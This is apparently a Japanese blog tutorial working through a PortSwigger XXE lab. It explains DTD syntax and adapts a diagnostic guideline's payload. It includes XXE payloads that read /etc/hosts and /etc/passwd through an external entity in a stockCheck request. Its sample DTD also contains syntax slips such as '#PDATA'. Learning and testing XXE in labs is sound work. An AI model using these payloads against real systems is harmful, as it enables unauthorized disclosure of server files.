Hello there, ('ω')ノ
PortSwiggerのXXEの問題を利用して。
いつもの脆弱性診断ガイドラインには診断方法が以下のように書いてあって。
元の値:
<?xml version="1.0" encoding="ISO-8859-1"?>
<foo>test</foo>
試行例:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/hosts" >
]>
<foo>&xxe;</foo>
そのまま適用すると。
XMLのルートノードが2つ以上存在しているとのエラーメッセージが。
下記を削除するとエラーがとれて。
<foo>&xxe;</foo>
&xxe;を既存の要素の中へ。
XMLのシンプルなサンプルは以下のとおりで。
<?xml version="1.0" encoding="UTF-8"?>
<class>
<member>
<Id>1000</Id>
<name>Neo</name>
</member>
<member>
<Id>1001</Id>
<name>Joe</name>
</member>
</class>
なんとなくイメージはわくのではないかと。
たとえば、csvだと以下のようなことで。
id,name
1000,Neo
1001,Joe
XXEの脆弱性というのは、ポイントがXMLというよりは。
DTD(Document Type Definition:文書型宣言)かと。
DTDとはXML文書をある一定の構文にしたがってルール付けして表現するもので。
文字の色を分けて説明すると。
DTDは、対象となるXML文書の内部に記述する(内部サブセット)と。
別ファイルとしてXML文書の外部に記述する(外部サブセット)があって。
<class>要素配下に、<member>要素が一個以上(+)存在するということで。
<member>要素配下に記述されるべき各子要素の順番を書いて。
<book>要素配下の子要素群を宣言し。
#PCDATAは文字データを表して。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE class [
<!ELEMENT (member+)>
<!ELEMENT member (id,name)>
<!ELEMENT id(#PDATA)>
<!ELEMENT name(#PDATA)>
]>
<class>
<member>
<id>100a</id>
<name>Neo</name>
</member>
<member>
<id>100b</id>
<name>Joe</name>
</member>
</class>
また、初めに脆弱性診断ガイドラインの施行例でてきたANYというのは。
DTDで宣言されたすべての要素を含むことができるもので。
<!ELEMENT foo ANY >
このあたりを理解できてくると下記のようにもできるのかと。
<!DOCTYPE stockCheck [
<!ELEMENT stockCheck ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<stockCheck>
<productId>&xxe;</productId>
<storeId>1</storeId>
</stockCheck>
下記は、URIを指定してファイルの場所を特定する場合の構文でして。
<!ENTITY xxe SYSTEM "file:///etc/passwd" >
XXEのペイロードは、そのままコピーして使えることもなかったりと。
なので、ある程度のDTDの理解は必要で。
Best regards, (^^ゞ